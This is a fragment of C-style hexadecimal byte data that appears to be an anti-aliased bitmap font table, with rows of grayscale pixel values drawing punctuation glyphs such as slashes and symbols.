0x00, 0x00, 0x00, 0x00, 0x00, 0x13, 0xD8, 0xFF, 0xFF, 0xFF, 0xC8, 0x0A, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x21, 0xE7, 0xFF, 0xFF, 0xFF, 0xB2,
0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x32,
0xF3, 0xFF, 0xFF, 0xFF, 0x98, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x47, 0xFB, 0xFF, 0xFF, 0xFF, 0x7C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x66, 0xFF, 0xFF, 0xFF, 0xFF, 0x52, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0xA3, 0xFF, 0xFF,
0xFF, 0xEF, 0x2A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x84, 0xFF, 0xFF, 0xFF, 0xF9, 0x3F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x65, 0xFF, 0xFF, 0xFF, 0xFE, 0x59, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x49, 0xFB, 0xFF, 0xFF, 0xFF, 0x77, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x31, 0xF3, 0xFF, 0xFF, 0xFF, 0x96, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1E, 0xE6, 0xFF, 0xFF,
0xFF, 0xB2, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10,
0xD4, 0xFF, 0xFF, 0xFF, 0xCA, 0x0A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x06, 0xBE, 0xFF, 0xFF, 0xFF, 0xDD, 0x16, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0xA4, 0xFF, 0xFF, 0xFF, 0xED, 0x27, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x85, 0xFF, 0xFF, 0xFF, 0xF7, 0x3B, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x66, 0xFF, 0xFF, 0xFF,
0xFE, 0x54, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x45,
0xFB, 0xFF, 0xFF, 0xFF, 0xBB, 0x49, 0x49, 0x49, 0x49, 0x49, 0x49, 0x49, 0x49, 0x49, 0x49, 0x49,
0x49, 0x49, 0x3A, 0x88, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xDE, 0x88, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xDE, 0x80, 0xFA, 0xFA, 0xFA, 0xFA,
0xFA, 0xFA, 0xFA, 0xFA, 0xFA, 0xFA, 0xFA, 0xFA, 0xFA, 0xFA, 0xFA, 0xFA, 0xFA, 0xFA, 0xD5, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x03, 0x05, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0xFF, 0xFF, 0x28, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x19, 0xFD, 0xFF, 0xDF, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6E, 0xFF, 0xFF, 0x89, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0xC5, 0xFF, 0xFF, 0x32, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1D, 0xFE, 0xFF, 0xDA, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x73, 0xFF, 0xFF, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xCA, 0xFF, 0xFF, 0x2C, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x22, 0xFF, 0xFF, 0xD5, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x78, 0xFF, 0xFF, 0x7E, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xCF, 0xFF, 0xFF, 0x27, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x26, 0xFF, 0xFF, 0xD0, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7D,
0xFF, 0xFF, 0x79, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xD4, 0xFF, 0xFF, 0x23, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2B, 0xFF,
0xFF, 0xCB, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x07, 0x76, 0xCE, 0x01, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x82, 0xFF, 0xFF, 0x74, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x53, 0xDD, 0xFF, 0xFF, 0x39, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xD9, 0xFF,
0xFE, 0x1E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x33, 0xC2, 0xFF, 0xFF, 0xFF, 0xFF, 0x8E, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x30, 0xFF, 0xFF, 0xC6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x5B,
0xFE, 0xFF, 0xFF, 0xF6, 0xFF, 0xFF, 0xE2, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x87, 0xFF, 0xFF,
0x6F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1D, 0xF8, 0xF0, 0x6B, 0x1D, 0xFD, 0xFF, 0xFF, 0x38,
0x00, 0x00, 0x00, 0x00, 0x00, 0xDD, 0xFF, 0xFD, 0x1A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x4E, 0x17, 0x00, 0x00, 0xC0, 0xFF, 0xFF, 0x8D, 0x00, 0x00, 0x00, 0x00, 0x35, 0xFF, 0xFF, 0xC1,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x69, 0xFF, 0xFF, 0xE1,
0x01, 0x00, 0x00, 0x00, 0x8C, 0xFF, 0xFF, 0x6A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x15, 0xFC, 0xFF, 0xFF, 0x38, 0x00, 0x00, 0x01, 0xE2, 0xFF, 0xFC, 0x16,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xBA, 0xFF, 0xFF,
0x8D, 0x00, 0x00, 0x3A, 0xFF, 0xFF, 0xBB, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x62, 0xFF, 0xFF, 0xE1, 0x01, 0x00, 0x91, 0xFF, 0xFF, 0x64, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x11, 0xFA, 0xFF,
0xFF, 0x37, 0x02, 0xE6, 0xFF, 0xFA, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xB3, 0xFF, 0xFF, 0x8D, 0x3F, 0xFF, 0xFF, 0xB6, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x5C, 0xFF,
0xFF, 0xE1, 0x97, 0xFF, 0xFF, 0x5F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0D, 0xF7, 0xFF, 0xFF, 0xFF, 0xFF, 0xF8, 0x0F, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xAD,
0xFF, 0xFF, 0xFF, 0xFF, 0xB1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x56, 0xFF, 0xFF, 0xFF, 0xFF, 0x5A, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0A,
0xF4, 0xFF, 0xFF, 0xF6, 0x0C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xA7, 0xFF, 0xFF, 0xAC, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x3C, 0xA1, 0xA1, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x0D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x15, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x54, 0xBB, 0xEE, 0xFF, 0xEB, 0xA0,
0x1F, 0x00, 0x00, 0x00, 0x00, 0x30, 0xB9, 0xF0, 0xFF, 0xF4, 0xC2, 0x59, 0x00, 0x00, 0x00, 0x00,
0x00, 0x89, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xED, 0x2F, 0x00, 0x00, 0x6B, 0xFC, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0x85, 0x00, 0x00, 0x00, 0x55, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xE9, 0x13, 0x4A, 0xFD, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x4B, 0x00, 0x05,
0xDB, 0xFF, 0xFF, 0xDA, 0x36, 0x14, 0x66, 0xF6, 0xFF, 0xFF, 0xAA, 0xE2, 0xFF, 0xFF, 0xE9, 0x54,
0x1B, 0x49, 0xE1, 0xFF, 0xFF, 0xD0, 0x01, 0x34, 0xFF, 0xFF, 0xFC, 0x25, 0x00, 0x00, 0x00, 0x35,
0xEF, 0xFF, 0xFF, 0xFF, 0xFF, 0xE9, 0x26, 0x00, 0x00, 0x00, 0x24, 0xFA, 0xFF, 0xFF, 0x26, 0x5B,
0xFF, 0xFF, 0xB6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0xFD, 0xFF, 0xFF, 0xFF, 0x50, 0x00, 0x00,
0x00, 0x00, 0x00, 0xAE, 0xFF, 0xFF, 0x4E, 0x7B, 0xFF, 0xFF, 0x9D, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0xC8, 0xFF, 0xFF, 0xE1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x96, 0xFF, 0xFF, 0x6C, 0x65,
0xFF, 0xFF, 0xA2, 0x00, 0x00, 0x00, 0x00, 0x00, 0x30, 0xFB, 0xFF, 0xFF, 0xFE, 0x34, 0x00, 0x00,
0x00, 0x00, 0x00, 0xA3, 0xFF, 0xFF, 0x54, 0x3E, 0xFF, 0xFF, 0xE2, 0x09, 0x00, 0x00, 0x00, 0x0B,
0xD0, 0xFF, 0xFF, 0xFF, 0xFF, 0xD2, 0x0B, 0x00, 0x00, 0x00, 0x0E, 0xED, 0xFF, 0xFF, 0x2E, 0x11,
0xF4, 0xFF, 0xFF, 0x9B, 0x05, 0x00, 0x0C, 0xC2, 0xFF, 0xFF, 0xF6, 0xD6, 0xFF, 0xFF, 0xC1, 0x0D,
0x00, 0x09, 0xAC, 0xFF, 0xFF, 0xE5, 0x06, 0x00, 0x7D, 0xFF, 0xFF, 0xFF, 0xDC, 0xB5, 0xF1, 0xFF,
0xFF, 0xFF, 0x5F, 0x18, 0xE9, 0xFF, 0xFF, 0xF5, 0xCE, 0xE9, 0xFF, 0xFF, 0xFF, 0x6B, 0x00, 0x00,
0x09, 0xC9, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x98, 0x00, 0x00, 0x47, 0xFE, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xBD, 0x06, 0x00, 0x00, 0x00, 0x05, 0x8D, 0xF7, 0xFF, 0xFF, 0xFF, 0xED,
0x63, 0x01, 0x00, 0x00, 0x00, 0x45, 0xDA, 0xFF, 0xFF, 0xFF, 0xF7, 0x98, 0x05, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x04, 0x2D, 0x4D, 0x29, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x24,
0x4B, 0x34, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x0A, 0x19, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0x70,
0xBA, 0xF8, 0xFF, 0xF9, 0x8F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x84, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xA9, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x45, 0xFD, 0xFF, 0xFF, 0xFF,
0xF6, 0xFF, 0x92, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xCB, 0xFF, 0xFF, 0xF6, 0x3A, 0x00,
0x30, 0x36, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0F, 0xFC, 0xFF, 0xFF, 0x85, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x49, 0xFF, 0xFF, 0xFF, 0x42, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x69, 0xFF, 0xFF, 0xFF, 0x0E, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x83, 0xFF, 0xFF, 0xF4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x9E, 0xFF, 0xFF, 0xDE, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0xB5, 0xFF, 0xFF, 0xC8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0xC5, 0xFF, 0xFF, 0xBA, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0xD4, 0xFF, 0xFF, 0xAD, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xE3, 0xFF, 0xFF, 0xA1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF2,
0xFF, 0xFF, 0x95, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0xFE, 0xFF,
0xFF, 0x89, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0xFF, 0xFF, 0xFF,
0x7C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1F, 0xFF, 0xFF, 0xFF, 0x70,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2E, 0xFF, 0xFF, 0xFF, 0x64, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3D, 0xFF, 0xFF, 0xFF, 0x57, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4C, 0xFF, 0xFF, 0xFF, 0x4B, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x5B, 0xFF, 0xFF, 0xFF, 0x3F, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6A, 0xFF, 0xFF, 0xFF, 0x2B, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x7A, 0xFF, 0xFF, 0xFF, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x89, 0xFF, 0xFF, 0xF6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0xA0, 0xFF, 0xFF, 0xDC, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0xBD, 0xFF, 0xFF, 0xC2, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0xDC, 0xFF, 0xFF, 0x9B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1F,
0xFF, 0xFF, 0xFF, 0x55, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x81, 0xFF,
0xFF, 0xFD, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x35, 0x7D, 0x45, 0x81, 0xFD, 0xFF, 0xFF,
0xC9, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x63, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF9, 0x3C,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x78, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x64, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4B, 0xC4, 0xE1, 0xC2, 0x80, 0x3C, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0B, 0x1C, 0x01, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x04, 0x7F, 0xD9, 0xFD, 0xFF, 0xF4, 0xBF,
0x61, 0x0C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0A, 0xB6, 0x3E, 0x22, 0xCA, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xF4, 0x9C, 0x36, 0x00, 0x00, 0x00, 0x42, 0xCF, 0xFF, 0x42, 0x73, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xE5, 0xC0, 0xDF, 0xFF, 0xFF, 0xFF,
0x42, 0x73, 0xFF, 0xDC, 0x77, 0x2E, 0x08, 0x2F, 0x85, 0xEA, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xEE, 0x28, 0x73, 0xC7, 0x13, 0x00, 0x00, 0x00, 0x00, 0x00, 0x07, 0x5F, 0xCB, 0xFF,
0xFF, 0xFF, 0xFF, 0xEB, 0xA4, 0x1C, 0x00, 0x1A, 0x0A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x1F, 0x52, 0x63, 0x32, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0A, 0x1A,
0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x04, 0x7D,
0xD8, 0xFD, 0xFF, 0xF3, 0xBD, 0x5F, 0x0B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0F, 0xBB, 0x3E,
0x22, 0xC9, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF3, 0x9A, 0x35, 0x00, 0x00, 0x09, 0x49,
0xD4, 0xFF, 0x42, 0x73, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xE4,
0xC6, 0xF7, 0xFF, 0xFF, 0xFF, 0x42, 0x73, 0xFF, 0xDD, 0x7C, 0x31, 0x09, 0x31, 0x87, 0xEB, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xEB, 0x27, 0x73, 0xC8, 0x13, 0x00, 0x00, 0x00, 0x00,
0x00, 0x08, 0x61, 0xCC, 0xFF, 0xFF, 0xFF, 0xFF, 0xFD, 0xA2, 0x14, 0x00, 0x1B, 0x0A, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1F, 0x51, 0x65, 0x3F, 0x0C, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x0E, 0x0E, 0x0C, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x82, 0xFF, 0xFF,
0xE9, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08,
0xEA, 0xFF, 0xFF, 0x86, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x64, 0xFF, 0xFF, 0xFA, 0x1A, 0x00, 0x00, 0x00, 0x00, 0x03, 0x0A, 0x0A, 0x0A, 0x0A,
0x0A, 0x0A, 0x0A, 0x0A, 0x0A, 0xD4, 0xFF, 0xFF, 0xAD, 0x0A, 0x0A, 0x0A, 0x0A, 0x00, 0x78, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0x36, 0x7B, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0x3A, 0x7B, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x39, 0x0D, 0x24, 0x24, 0x24, 0x24, 0x24, 0x24, 0x24, 0xC1,
0xFF, 0xFF, 0xD6, 0x24, 0x24, 0x24, 0x24, 0x24, 0x24, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x19, 0xF9, 0xFF, 0xFF, 0x65, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x85, 0xFF, 0xFF, 0xEB, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0A, 0xED, 0xFF, 0xFF, 0x82, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x6C, 0xEB, 0xEB, 0xEB, 0xEB, 0xEB, 0xEF, 0xFF, 0xFF, 0xFF, 0xFF, 0xEB, 0xEB,
0xEB, 0xEB, 0xEB, 0xEB, 0xEB, 0x30, 0x7B, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x3A, 0x7B, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x3A, 0x21, 0x50, 0x50, 0x50,
0x50, 0xF2, 0xFF, 0xFF, 0xC3, 0x50, 0x50, 0x50, 0x50, 0x50, 0x50, 0x50, 0x50, 0x50, 0x0D, 0x00,
0x00, 0x00, 0x00, 0x33, 0xFF, 0xFF, 0xFF, 0x46, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xA7, 0xFF, 0xFF, 0xD2, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1E, 0xFB, 0xFF, 0xFF, 0x5F, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0E, 0x50, 0x50, 0x50, 0x06,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0B, 0x58, 0xAE, 0xF2,
0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x09, 0x54, 0xAA, 0xF5,
0xFF, 0xFF, 0xFF, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x07, 0x50, 0xA6, 0xF3,
